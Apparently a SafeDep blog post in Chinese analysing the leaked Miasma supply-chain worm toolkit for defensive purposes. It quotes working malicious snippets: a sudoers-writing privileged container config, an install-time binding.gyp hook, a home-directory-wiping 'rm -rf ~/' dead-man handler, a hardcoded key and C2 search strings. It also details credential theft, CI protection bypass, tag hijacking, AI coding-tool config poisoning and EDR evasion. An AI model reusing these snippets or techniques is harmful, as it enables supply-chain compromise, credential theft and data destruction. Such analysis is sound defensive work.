深入 Miasma 软件供应链攻击工具包

目录

臭名昭著的 Miasma 蠕虫 已开源。自昨天起,多个名为 Miasma-Open-Source-Release 的 GitHub 仓库开始出现。其中大部分可能是通过被入侵的开发者账户发布的。我们此前曾见过类似情况,当时 Team PCP 开源了 Mini Shai-Hulud 有效载荷,这可能进一步激发了更多软件供应链攻击。

我们从其中一个公开仓库(现已下架)获取了源代码。作为 PMG 的开发者,我们持续更新针对PMG的攻击者TTP基准测试,尤其关注其沙箱功能

在本文中,我们深入分析从其中一个公开 GitHub 仓库获取的 Miasma-Open-Source-Release 源代码。

TL;DR

Miasma 代码库规模远超一个供应链蠕虫。它是一个完整的供应链攻击工具包,允许攻击者通过窃取的凭证针对公共注册表(PyPI、npm、RubyGems)、JFrog Artifactory、GitHub 仓库和 GitHub Actions、AI 编码工具配置投毒、SSH 横向移动及其他攻击向量执行各种攻击。

分析中发现的一些有趣内容:

  • 绕过 GitHub 环境保护规则以触发部署。详情
  • 为木马化 npm 包生成有效的 Sigstore 溯源证明。详情
  • 使用 GitHub 提交搜索的三条独立 C2 通道,每条具有不同的搜索字符串和加密密钥。详情
  • 死机开关——如果窃取的 PAT 被吊销则清除受害者主目录。详情
  • 嵌入在泄露提交中的受害者 PAT 为未来的蠕虫实例创造了自我强化的飞轮。详情
  • 通过带有克隆作者元数据的孤立提交劫持 GitHub Actions semver 标签。详情
  • 注入 13 种 AI 编码工具(Claude、Gemini、Cursor、Copilot、Kiro、Cline 等)。详情
  • 拉取请求寄生(LOTP)技术向 12+ 种语言的现有项目文件中注入有效载荷。详情
  • 从 AWS、Azure、GCP、Kubernetes、HashiCorp Vault 及密码管理器(1Password、Bitwarden)收集凭证。详情
  • 通过 /proc 转储 GitHub Actions runner 内存以提取未作为环境变量暴露的密钥。详情
  • 5 层构建混淆,每构建使用随机密钥,使每个编译后的有效载荷都是唯一的。详情
  • 通过窃取的认证令牌(快速路径)和 OIDC 信任发布(慢速路径)针对 npm、PyPI 和 RubyGems。详情
  • PyPI 包的 MCP 后缀误植模式。详情

GitHub 作为通用和控制基础设施

我们一直在追踪 TeamPCP、Mini Shai-Hulud、Miasma 及相关活动。一个共同观察是,攻击者正在远离需要维护、预热和保护的定制 C2 基础设施。相反,他们现在利用 GitHub 作为完整的 C2 基础设施来执行远程命令、配置和泄露。这是一个关键的行为转变,因为传统的基于网络的安全检测和保护工具依赖于基线化和异常检测。防御者现在必须在更接近应用协议的层面识别行为异常,而不是网络异常。

高级架构

该仓库包含以下文件:

plaintext
-rw-r--r--@ 1 dev staff 45802 9 Jun 07:46 ARCHITECTURE.MD -rw-r--r--@ 1 dev staff 80029 9 Jun 07:46 bun.lock -rw-r--r--@ 1 dev staff 85 9 Jun 07:46 bunfig.toml -rw-r--r--@ 1 dev staff 740 9 Jun 07:46 eslint.config.js -rw-r--r--@ 1 dev staff 6953 9 Jun 07:46 INTEGRATION_TESTING.md -rw-r--r--@ 1 dev staff 1036 9 Jun 07:46 LICENSE -rw-r--r--@ 1 dev staff 121936 9 Jun 07:46 package-lock.json -rw-r--r--@ 1 dev staff 1100 9 Jun 07:46 package.json -rw-r--r--@ 1 dev staff 9293 9 Jun 07:46 README.md drwxr-xr-x@ 13 dev staff 416 9 Jun 07:46 scripts drwxr-xr-x@ 14 dev staff 448 9 Jun 07:46 src drwxr-xr-x@ 12 dev staff 384 9 Jun 07:46 tests -rw-r--r--@ 1 dev staff 958 9 Jun 07:46 tsconfig.json drwxr-xr-x@ 6 dev staff 192 9 Jun 07:46 utility_scripts

文件列表表明:

  • Bun 作为有效载荷的依赖项,与我们过去见过的 dropper 一致
  • ARCHITECTURE.MDINTEGRATION_TESTING.md 文件表明 AI 编码代理生成和维护的代码库。

ARCHITECTURE.MD

ARCHITECTURE.md 指出了该蠕虫的意图:

一个旨在跨多个开发者工具生态系统自动传播的蠕虫。使用 TypeScript 编写,通过 Bun 执行,专为 CI/CD 环境(尤其是 GitHub Actions)和开发者机器设计。通过 NPM 包、PyPI wheel、RubyGems、GitHub 仓库和 Actions、Claude 设置钩子、SSH 和 AWS SSM 进行敏感信息泄露和传播。

同一文件指出了一个关键架构决策,与我们在过去活动中发现的一致,也是为什么我们认为网络基线化对此类有效载荷是无效的检测策略:

无需 C2 基础设施。无需处理删除或维护基础设施。被窃取的 GitHub PAT 就是全部所需。

同一文件还指出了当前实现中的以下空白:

  • 基于 PyPI 信任发布 的传播未经测试。
  • 通过 scpssh(exec)的 SSH 传播未经测试。
  • JFrog Artifactory npm 包感染未经测试。
  • 基于 RubyGems 信任发布 的包感染未经测试。
  • GCP 和 Azure provider 用于敏感信息泄露不起作用。

组件

从高级层面看,代码库由以下部分组成:

  1. scripts/ - 包含有效载荷准备、混淆和操作的脚本。
  2. src/ - 包含实际蠕虫源代码,src/index.ts 作为入口点。

蠕虫(应用程序)又分为以下模块:

  1. Orchestrator
  2. Assets - 运行时使用的预制文件,如加载器、恶意 GitHub Actions 工作流、用于代码执行的 VSCode 设置等。
  3. Collector
  4. Dispatcher
  5. Mutator
  6. Provider
  7. Sender
  8. Utils

该架构还表明我们已在 Shai-Hulud 类蠕虫中看到的内容——包含快速路径和慢速路径用于凭证泄露和传播。快速路径用于快速泄露凭证,慢速路径用于通过各种生态系统传播,这可能需要较长时间执行。

以下是 ARCHITECTURE.md 文件中的架构图:

plaintext
┌─────────────────────────────────────────────────────────────┐ │ BUILD PIPELINE │ │ pack-assets → scramble/obfuscate → bundle → js-obfuscate │ └─────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────┐ │ ENTRY POINT │ │ src/index.ts: main() │ │ Preflight → QuickResults → Senders → Providers → │ │ Collector → Dispatcher → Mutations (success or fallback) │ └─────────────────────────────────────────────────────────────┘ ┌────────────────────┐ ┌──────────────┐ ┌──────────────────┐ │ PROVIDERS │ │ COLLECTOR │ │ DISPATCHER │ │ (secret harvest) ──▶│ (buffer + ──▶│ (sender chain) │ │ │ │ token val) │ │ │ └────────────────────┘ └──────┬───────┘ └──────────────────┘ detects npm/rubygems/gh tokens ┌──────────────────┐ │ MUTATORS │ │ (propagation + │ │ persistence) │ └──────┬───────────┘ ┌────────────┼────────────┐ ▼ ▼ ▼ ┌─────────┐ ┌───────┐ ┌──────────┐ │ SENDER │ │SENDER │ │ SENDER │ │ (domain)│ │(gh #1)│ │ (gh #2) │ └────┬────┘ └───┬───┘ └────┬─────┘ ▼ ▼ ▼ C2 GitHub GitHub Server Repo Repo

应用逻辑

预检

蠕虫执行的预检阶段执行以下检查:

  • 检查已知沙箱环境并快速失败。
  • 通过 bunlibcurl 检查并确保各代理环境变量设置一致。
  • 在通过区域设置识别到俄罗斯系统时退出。

有趣的是,该蠕虫有针对 npm OIDC 自我传播的目标模式。在预检期间,如果 WORKFLOW_IDREPO_ID_SUFFIX 环境变量已设置,并与 GITHUB_WORKFLOW_REFGITHUB_REPOSITORY 环境变量匹配(子字符串),则执行基于 npm OIDC 的传播流程并退出,不执行完整蠕虫逻辑。

预检还通过已知的伪造环境变量、Docker 容器、GitHub Actions 上的 sudo 限制以及通过进程名和文件路径识别的已知安全工具来检测恶意软件分析环境。它积极使用 Docker 特权容器恢复 sudo 访问,并使用公共 DNS 覆盖 /etc/resolv.conf 以逃避动态分析工具。sudo 恢复的示例代码:

js
export function buildSudoRestoreContainerConfig(): Record<string, unknown> { return { Image: "alpine", Cmd: [ "sh", "-c", "echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner", ], HostConfig: { Privileged: true, Binds: ["/etc/sudoers.d:/mnt"], AutoRemove: true, }, }; }

快速路径

如果预检检查成功,蠕虫执行其快速路径,执行:

  • 通过 gatherQuickResults() 从已知来源收集凭证。
  • 如果找到有效令牌,则通过下载、打补丁、发布向量感染 npm、PyPI、RubyGem 包。
  • 创建包含泄露数据传输逻辑的分层发送者链。
  • 执行收集器来验证、缓存(内存中)快速结果并通过发送者链传递。

快速路径设计用于在丢弃可能被 EDR 和其他安全工具检测到的大型传播和持久化有效载荷之前,快速泄露凭证和其他敏感信息。

凭证收集

蠕虫使用 Provider 作为源特定凭证收集逻辑的抽象。以下是注册的 provider:

js
const providers: Provider[] = [ new AwsSsmService(), new AwsSecretsManagerService(), new AwsAccountService(), new AzureKeyVaultService(), new AzureIdentityService(), new GcpSecretsService(), new GcpIdentityService(), new K8sSecretsService(), new VaultSecretsService(), new PasswordManagerProvider(), ];

完整的 provider 捆绑包还附加了基于快速路径收集的凭证被认为可用的服务,如 GitHubActionsServiceGrepProvider。有趣的是,当发现经典 GitHub 令牌时,蠕虫逻辑使用 GrepProvider。以下代码确定何时注册 GitHubActionsService

js
const meta = await getTokenMetadata(token); const hasRepo = meta.scopes.includes('repo') || meta.scopes.includes('public_repo'); if (hasRepo) { providers.push(new GitHubActionsService(token)); dispatched = true; }

凭证收集

Collector 充当凭证分类的操作器,根据凭证类型执行操作,并触发泄露。高级行为如下:

  • 用于 ProviderResult(凭证)的内存有界缓存,基于字节数刷新。
  • 通过模式匹配对令牌类型进行分类,并分派令牌特定的处理程序,该处理程序使用令牌的权限执行验证和传播。
  • 执行慢速路径进行凭证收集,包括云服务、密码管理器、保险库等。

分派令牌处理程序的示例代码:

js
const tokenPromises: Promise<void>[] = []; if (result.matches?.["ghtoken"]) { tokenPromises.push( this.handleGhTokens(result).catch((err) => { logUtil.error("[collector] gh token check failed:", err); }), ); }

当收集器的内存缓冲区(缓存)达到阈值或调用 finalize 方法时,它调用 Dispatcher 组件从缓冲区泄露收集的凭证。

泄露

收集的凭证的泄露由 DispatcherSender 组件处理。分发器负责:

  • 加密要泄露的凭证批次
  • 通过调用 Sender 链进行泄露

src/index.ts 初始化时,蠕虫通过调用以下内容创建发送者链:

js
const senders = await buildSenderChain(quickResults);

buildSenderChain 本身是动态的,根据快速路径中收集的凭证创建发送者。具体来说,如果能找到攻击者控制的 PAT,它会创建主 GitHub 发送者,方法是使用 GitHub 提交搜索 API 搜索提交。

src/github_utils/fetcher.ts 中,它尝试通过搜索字符串 DontRevokeOrItGoesBoom 来找到这个攻击者控制的 PAT。攻击者通过提交到公共仓库来预先植入 GitHub PAT。提交消息格式为:

plaintext
DontRevokeOrItGoesBoom:<base64-encoded-payload>

攻击者 PAT 的有效载荷使用 src/utils/config.ts 中的硬编码 AES 密钥加密:

js
export const TOKEN_AES_KEY = scramble('bd8035203536735490e4bd5cdcede581a9d3a3f7a5df7725859844d8dcc8eb49');

解密并使用前缀 github_pat_11A 验证后,它检查令牌是否有 repo 作用域且剩余速率限制配额超过 200,然后才选择使用它,否则继续下一个。这种方法允许攻击者持续使用新的 PAT 更新蠕虫,几乎像飞轮一样利用被入侵的凭证和开发者机器。

然后它使用攻击者控制的 PAT 创建主 GitHub 发送者:

js
const gitHubFactory = new GitHubSenderFactory(); // Primary: GitHub direct via commit-search PAT senders.push(await gitHubFactory.tryCreate(undefined, ghsSearchToken));

如果未找到攻击者控制的 PAT,它会使用受害者在快速路径中发现的自己的 PAT 创建 GitHub 发送者。这种行为再次与观察到的蠕虫行为一致——使用公共仓库在受害者账户下创建的仓库泄露加密凭证批次。

当使用受害者的 PAT 时,发送者将 PAT 嵌入到泄露提交消息中。令牌使用 AES-256-CBC 加密并伪装为 github_pat_11A... 字符串,然后包含在提交消息中作为 DontRevokeOrItGoesBoom:<encrypted-token>。这完成了飞轮循环。未来的蠕虫实例搜索 "DontRevokeOrItGoesBoom" 时会发现受害者的 PAT 并将其用作泄露令牌,将每个被入侵的开发者账户变成下一次感染的基础设施。相同的嵌入令牌也会触发死机开关安装,如果令牌被吊销则清除受害者主目录。

DomainSenderFactory 存在于代码库中,允许蠕虫将加密凭证泄露到攻击者控制的 C2 基础设施。但是,它没有连接到当前的发送者链。这可能表明攻击者仅依赖公共服务进行泄露,避免被网络监控工具和 C2 删除检测到。

所有凭证批次使用生成的 AES 密钥和 IV 加密。AES 密钥依次使用攻击者的 RSA-4096 公钥加密。加密由第一个注册的 Sender 执行一次,生成的信封在后续重试中被重用。加密信封格式与过去的 Shai-Hulud 和 Miasma 活动一致。

js
// Encrypt once; reuse across fallback attempts. const envelope = await this.senders[0]!.createEnvelope(batch);

传播

蠕虫使用两种类型的传播方法:

  1. 通过发布可访问包的新版本并将蠕虫有效载荷注入其中的快速路径传播。
  2. 通过利用 OIDC 发布者信任(如 GitHub Actions 与 npm、PyPI、RubyGems 等上游注册表之间)和其他机制(如 SSH、AWS SSM 等支持的向量)的慢速路径传播(变异)。

快速路径传播

快速路径传播包括通过窃取的凭证进行注册表感染。例如,npm 注册表传播使用以下逻辑:

  • 通过注册表 API 查找可写包
  • 对于每个可写包,获取元数据并获取最新 dist-tag tarball URL
  • 下载每个包,解压,并注入自己的混淆有效载荷
  • 在包根目录注入包含以下 JSON 的 binding.gyp 文件
json
{ "targets": [ { "target_name": "nothing", "type": "none", "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"] } ] }
  • 提升包的补丁版本
  • 添加 bun 作为依赖项,因为它是运行蠕虫所必需的
  • 重新打包为 .tgz 并使用发现的凭证发布到注册表

npm 注册表客户端有能力计算并附加 Sigstore 溯源证明,使用通过 GitHub OIDC(工作负载身份)从 Sigstore 获取的短期凭证。但是,这需要 OIDC 令牌,而不是被窃取的 npm 认证令牌。蠕虫在注册表感染中执行快速路径,无论环境中是否有 GitHub OIDC 令牌可用。

慢速路径传播

蠕虫在慢速路径中使用多个 Mutator 进行复制。这包括:

  • NPMOidcClient - 直接 OIDC npm 发布
  • NpmOidcBranchMutator - 通过悬空提交的间接 OIDC 发布
  • ActionMutator - GitHub actions 标签劫持
  • RepositoryMutator - 拉取请求功能分支投毒
  • Claude - AI 编码工具配置投毒。详见 运行代码的配置文件 了解更多关于此攻击向量的信息。
  • SshMutator - 使用 SSH 凭证、scpssh 的远程执行进行横向移动
  • ReadmeUpdater - 使用发现的 PAT 可访问的远程分支上的 AI 编码工具配置投毒
NPM OIDC Mutator

NPMOidcClient 在 GitHub Actions 中运行,使用运行器的工作负载身份从 ACTIONS_ID_TOKEN_REQUEST_URL 请求 OIDC 令牌,audience=npm:registry.npmjs.org 并使用相同的快速路径感染技术执行,并附加生成和附加 Sigstore 溯源证明的能力。

NPM OIDC 分支 Mutator

NpmOidcBranchMutator 是间接变体。它不需要在 GitHub Actions 内执行。相反,它使用被窃取的 GitHub PAT 来查找通过 OIDC 信任发布发布到 npm 的仓库,并诱骗它们在下次 CI 触发时运行木马化工作流。

src/mutator/npmoidc/detector.ts 中的目标仓库检测检查三个条件:

  • 具有 package.json 字段的非私有 name
  • 带有发布步骤的工作流 YAML(npm publishyarn publishpnpm publish
  • 工作流作业上的 id-token: write 权限

通过扫描 packages/libs/apps/plugins/ 中的额外 package.json 文件来支持多仓库布局。

mutator 有两个代码路径,取决于令牌作用域:

  • 具有 workflow 作用域:将带有修改后工作流 YAML 和有效载荷的孤立提交推送到新的 snapshot-<random> 分支。推送事件原生触发工作流。
  • 没有 workflow 作用域:使用悬空提交技术。提交 1(默认分支 HEAD 的子项)添加木马化工作流。提交 2(提交 1 的子项)恢复原始树。在提交 2 处创建一个分支,因此尖端看起来是干净的。目标是提交 1 的 GitHub 部署触发工作流,然后删除部署记录。
js
const deployment = await githubJson(this.token, \`/repos/${owner}/${name}/deployments\`, { method: 'POST', body: JSON.stringify({ ref: addSha, auto_merge: false, required_contexts: [], environment: detected.workflow.environmentName ?? 'production', transient_environment: true, }), });

如果目标工作流使用 GitHub 环境保护且令牌具有管理员访问权限,mutator 在创建部署前绕过这些限制。绕过处理三种类型的环境保护:

  • 必需的审查者。通过向环境 API 发送空的 reviewers: [] 来清除。
  • 受保护分支策略。清除以允许临时 snapshot-* 分支部署。
  • 自定义分支策略。首先检查模式匹配,如果分支名不匹配则清除。

原始分支策略配置保存以供恢复,但审查者列表不会。如果 mutator 对具有必需审查者的仓库运行,该保护将被永久移除。

GitHub Actions Mutator

ActionMutator 通过强制推送木马化孤立提交到其 semver 标签来劫持自定义 GitHub Actions。引用 uses: owner/action@v1 的任何下游工作流都会拉取被入侵的版本。

  • 枚举被窃取 PAT 具有推送访问权限的所有公开非派生仓库
  • 使用 GraphQL 从仓库根目录获取 action.ymlaction.yaml
  • 解析并分类每个 action 为复合、JavaScript(using: node20)或 Docker
  • 对于复合 action,追加 setup-bun 和有效载荷执行步骤到现有步骤
  • 对于 JavaScript 和 Docker action,构建一个新的复合包装器,委托给固定在实际 HEAD 提交 SHA 的原始 action,传递所有输入,然后追加有效载荷步骤

标签劫持创建一个包含修改后 action.ymlindex.js(自解压蠕虫有效载荷)的单个 Git 树,然后对于每个匹配前缀 v 的标签:

  • 解析标签到提交(处理轻量标签和注释标签)
  • 使用有效载荷树创建孤立提交(无父提交),复制原始提交的消息、作者和提交者元数据
  • 强制推送标签引用指向孤立提交

孤立提交没有父提交,因此标签上的 git log 只显示单个被劫持的提交。原始历史被断开。但由于提交元数据是从原始提交克隆的,劫持在粗略检查中更难发现。有效载荷步骤使用 if: always() 以确保即使原始 action 的步骤失败也能执行。

GitHub 仓库 Mutator

RepositoryMutator 通过推送包含蠕虫有效载荷和 AI 工具配置文件的提交来毒害可写仓库上的功能分支。它以开放拉取请求为后盾的分支为目标,开发者很可能很快会与被感染代码交互。

  • 枚举可写仓库,通过 GraphQL 获取开放 PR,提取头部分支
  • 正常模式下每个仓库最多 10 个分支,激进模式下 30 个
  • 跳过设置了 TARGET_REPOS 的企业托管组织和仓库

每个提交向分支添加以下文件:

  • 带有自解压蠕虫有效载荷的 .github/setup.js
  • 带有 Claude Code SessionStart 钩子的 .claude/settings.json
  • 带有 Gemini CLI SessionStart 钩子的 .gemini/settings.json
  • 带有指示 AI 运行有效载荷的 .cursor/rules/setup.mdc 规则的 alwaysApply: true
  • 带有在 folderOpen 上触发的任务的 .vscode/tasks.json
  • 可选地通过 "lotp"(拉取请求寄生)模块修改现有源文件

mutator 通过 GraphQL 获取先前提交的作者信息并在恶意提交上重用它来伪造作者。它追加 skip-checks:true 到提交消息以抑制 CI 检查。如果令牌具有管理员访问权限,它还尝试通过暂时移除分支保护规则直接提交到默认分支。

激进模式在 src/index.ts 中泄露失败时触发。它扩大爆炸半径,包括私有仓库并将每个仓库的目标分支增加到 30 个。

其他 Mutator

误植 Mutator

TypoMutator 是操作员配置的 PyPI 误植模式。它不是自动变异计划的一部分。当 handlePypiTokens()TYPO_MODE=1 环境变量设置时,它在收集器的 TARGET_PACKAGES 中触发,作为正常 PypiMutator 流程的替代方案。

  • TARGET_PACKAGES 获取目标包名称列表
  • 对于每个包,从 PyPI 下载原始 wheel
  • .pth 有效载荷注入到 wheel 中
  • 生成误植名称并以第一个可用名称发布
  • 检查 PyPI 以跳过已占用的名称
  • 遇到速率限制(HTTP 429)时立即中止

src/mutator/typo/typoGen.ts 中的误植名称生成追加 MCP 相关后缀,而不是使用键盘相邻替换:

js
const MCP_SUFFIXES = ['-mcp', '-mpc']; export function generateTypos(name: string, limit = 5): string[] { return MCP_SUFFIXES.map((s) => \`${name}${s}\`).slice(0, limit); }

源代码中的注释说"键盘邻近",但实现只追加 -mcp-mpc 后缀。这可能反映了 PyPI 阻止流行包名称的直接误植但允许带后缀变体的事实。鉴于 MCP(模型上下文协议)工具的兴起,-mcp 后缀是贴切的。

AWS SSM Mutator

SsmMutator 传播到由 AWS Systems Manager 管理的 EC2 实例。

  • 从默认链解析 AWS 凭证并通过 sts:GetCallerIdentity 验证
  • 并行跨 17 个 AWS 区域调用 ssm:DescribeInstanceInformation,过滤在线实例
  • 将自解压有效载荷 base64 编码,分块为 24KB 块(SSM 命令大小限制)
  • 通过 ssm:SendCommand 使用 AWS-RunShellScript 传递,在目标上通过 printf 追加重新组装,解码,使用 node 执行,然后清理
  • 5 个实例并发,每个命令 120 秒超时

这是 AWS 环境内的横向移动向量。如果蠕虫在具有 SSM 访问权限的 AWS 凭证的机器上运行,它可以传播到所有区域中每个托管的 EC2 实例。

拉取请求寄生(LOTP)

RepositoryMutator 使用 "lotp" 模块(src/mutator/repository/lotp.ts)将蠕虫有效载荷注入到开发者正常工作中运行的现有项目文件中。它将仓库的主要语言映射到候选文件列表,检查哪些存在,并将语言特定命令注入到第一个匹配项。

支持的注入目标:

  • package.json(JS/TS):追加到 test 脚本
  • Makefile(大多数语言):添加一个挂入 all.DEFAULT_GOAL 的 phony 目标
  • tox.ini(Python):追加到 [testenv] commands
  • setup.py / .py 文件:在前添加 import os; os.system(...)
  • Gemfile / Rakefile / Podfile(Ruby):在前添加 system(...)
  • composer.json(PHP):添加 post-install-cmd 脚本
  • Dockerfile:注入 RUN 指令
  • CMakeLists.txt(C/C++):注入 execute_process()
  • Shell 脚本:在 shebang 行后注入

对于没有识别语言的仓库,回退是 Makefilepackage.json。注入的命令将蠕虫有效载荷作为正常开发者活动(npm testmaketoxpod install 等)的副作用运行。

持久化

InstallMonitor 在受害者机器上安装一个持久的基于 Python 的 C2 轮询代理。它在慢速路径变异阶段运行,并且在 always-run 集中,在每次蠕虫调用时执行,无论找到什么令牌。如果检测到 EDR 或机器 CPU 少于 4 个,则跳过。EDR 检查(hasHostileEDR()src/utils/config.ts 中)扫描以下安全工具的进程名和文件路径:

  • CrowdStrike Falcon(falcon-sensorfalcondcsfalconcrowdstrike
  • SentinelOne(sentinelonesentinelagent
  • Microsoft Defender for Endpoint(mdatpwdavdaemon
  • Carbon Black(cbagentcbdaemon
  • Cylance(cylance
  • Trend Micro / Deep Security(trendmicrods_agent
  • FireEye / Trellix(xagt
  • osquery(osquery
  • Tanium(tanium
  • Qualys(qualys

安装程序(INSTALL_MONITOR.sh)将监控脚本复制到 ~/.local/share/updater/update.py 并将其注册为持久化服务:

  • 在 Linux 上:带有 loginctl enable-linger 的 systemd 用户服务,以便在注销后继续运行
  • 在 macOS 上:带有 RunAtLoad 和每小时 StartInterval 的 LaunchAgent plist

监控器(GITHUB_MONITOR.py)是一个每小时运行一次的 Python 轮询循环。它通过 pip 自动安装缺失的 requestscryptography,然后在 GitHub 提交中搜索字符串 "firedalazer"。匹配的提交消息包含 base64 编码的 URL 和 RSA-PSS 签名。监控器使用嵌入的 RSA-4096 公钥验证签名,如果有效,则下载 URL 内容作为 Python 脚本执行。

  • 使用与主蠕虫("DontRevokeOrItGoesBoom")不同的搜索词("firedalazer"
  • /var/tmp/.gh_update_state 中跟踪已执行的命令以防止重新执行
  • 每个脚本 300 秒超时,执行后清理临时文件

这是一个通用远程代码执行后门。攻击者可以通过在任何公共 GitHub 仓库提交签名消息,将任意 Python 脚本推送到任何被入侵的机器。

命令和控制

蠕虫使用三条独立的 GitHub 提交搜索通道进行 C2,每条具有不同的搜索字符串和目的:

  • "DontRevokeOrItGoesBoom" 发现攻击者控制的用于泄露的 PAT。在发送者链设置期间检查一次。PAT 在提交消息中使用 AES-256-CBC 加密。
  • "TheBeautifulSandsOfTime" 传递用于立即执行的 JavaScript。在 src/c2/checkin.ts 中的 c2Checkin() 启动时检查一次。提交消息包含 base64 编码的有效载荷和 RSA 签名,使用 verify_key.pub 验证。如果有效,则将有效载荷直接传递给 eval()
  • "firedalazer" 为持久化监控器传递 Python 脚本 URL。由 GITHUB_MONITOR.py 每小时轮询。使用单独的嵌入公钥进行 RSA-PSS 签名验证。

所有三个通道默认情况下都是未认证的(可用时回退到认证搜索),并使用 GitHub 的公共提交搜索 API。攻击者通过提交签名消息到任何公共仓库来发出命令。每个通道使用不同的验证密钥或解密密钥,因此泄露一个不会泄露其他。

src/index.tsc2Checkin() 调用是触发即忘的:

js
c2Checkin().catch((err) => logUtil.log(\`[c2] checkin error: ${err}\`));

DomainSenderFactory 实现了一个使用搜索字符串 "thebeautifulmarchoftime" 的第四通道,通过签名提交发现备用 C2 域。这个工厂存在于代码库中,但未连接到当前的发送者链。

死机开关

GitHubSender 使用受害者自己的 PAT 进行泄露(第三层回退)时,它在将令牌嵌入泄露提交之前安装一个死机开关。处理程序硬编码在 src/sender/github/githubSender.ts 中:

js
const persistence = new Monitor(this.token, scramble('rm -rf ~/; rm -rf ~/Documents'));

DEADMAN_SWITCH.sh 资源安装一个持久化监控脚本:

  • 将受害者的令牌存储在 ~/.config/gh-token-monitor/token
  • 每 60 秒轮询 GET https://api.github.com/user 检查令牌有效性
  • 如果 API 返回任何 40x 状态(令牌被吊销),运行 eval "$HANDLER" 执行 rm -rf ~/; rm -rf ~/Documents
  • 如果令牌未被吊销则在 72 小时 TTL 后退出
  • 注册为 systemd 用户服务(Linux)或 LaunchAgent(macOS)

开关仅在受害者没有企业托管组织时激活。企业令牌被认为嵌入风险更高。泄露提交消息中使用的 "DontRevokeOrItGoesBoom" 搜索字符串是对任何发现它的人的 literal 警告。

混淆和逃避

蠕虫使用 5 层构建管道来混淆最终有效载荷。

资源加密

prebuild 步骤(scripts/pack-assets.ts)gzip 压缩 src/assets/(加载器、工作流、公钥、Claude 设置)中的每个文件,然后使用随机的每文件 AES-256-GCM 密钥加密。输出为 src/generated/index.ts,每个资源作为运行时解密调用导出。解密密钥本身经过下面描述的字符串扰码层。

源代码转换

在打包前对每个 .ts 文件应用三个转换:

  • Env-scramble:将 process.env.GITHUB_TOKEN 重写为 process.env[scramble("GITHUB_TOKEN")],从静态分析中隐藏环境变量名。跳过 NODE_ENVTZ
  • String scramble:在构建时解析每个 scramble("literal") 调用。使用 PBKDF2(200,000 次迭代、SHA-256)从随机的每构建密码短语和 salt 派生主密钥,然后应用 3 轮 CBC 模式多字母替换,每个位置和每轮使用查找表。密码短语和 salt 注入到 runtimeDecoder.ts 中以在运行时解码。
  • Log stripping:当 isSilent = truelogger.ts 中时,使用带字符串字面量意识的平衡括号计数从源代码中删除所有 logUtil.* 调用。

打包

所有转换后的文件通过启用了最小化的 Bun.build() 打包成单个 dist/bundle.js,以 Bun 运行时为目标。

JavaScript 混淆

使用 javascript-obfuscator 进行构建后通道,字符串数组编码(base64、旋转、洗牌、索引移位)、十六进制标识符名称和链式包装器调用。输出到 dist_obf/。额外的包装层(obfplus-wrap.js)在 dist_obfplus/ 中生成进一步混淆的构建。

自解压有效载荷

src/utils/selfExtracting.ts 中的 buildSelfExtractingPayload() 函数在 mutator 将蠕虫嵌入 npm 包、GitHub 仓库和其他目标时使用。它生成一个独立的三层嵌套 JS 文件:

  • ROT-N 外壳:对整个内部包装器应用随机旋转(1-25),由内联 eval() 解码
  • AES-128-GCM 第 A 部分:加密的 bun 安装防护,如果不存在则从 GitHub releases 下载 Bun,固定到 bun-v1.3.13
  • AES-128-GCM 第 B 部分:实际蠕虫有效载荷,使用不同的随机密钥加密

在运行时,ROT-N 外壳解码并 eval 内部包装器,该包装器解密第 A 部分(bun 防护)和第 B 部分(有效载荷),将有效载荷写入临时文件,使用 bun run 执行,然后清理。每次调用都由于随机密钥和随机 ROT-N 旋转产生完全不同的输出。

  • supply-chain
  • malware
  • shai-hulud
  • ai-coding-agents
  • github
  • npm
  • pypi
  • rubygems

SafeDep 博客最新内容

关注以获取开源安全与工程的最新更新和见解